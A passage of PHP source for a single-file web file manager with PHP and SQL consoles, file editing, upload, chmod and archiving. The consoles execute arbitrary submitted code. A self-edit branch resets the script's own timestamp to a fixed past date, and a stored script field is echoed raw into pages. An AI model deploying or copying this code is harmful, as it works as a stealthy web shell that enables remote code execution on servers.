url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' :
$_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo
'</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
<form action="" method="POST"
name="console">
<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
<input type="reset"
value="<?=__('Reset')?>">
<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
$select .= '<option value="-1">' .
__('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$editlink?>">
<textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save"
value="<?=__('Submit')?>">
<input type="submit" name="cancel"
value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
$link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a
href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post"
action="<?=$link?>">
<?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save"
value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
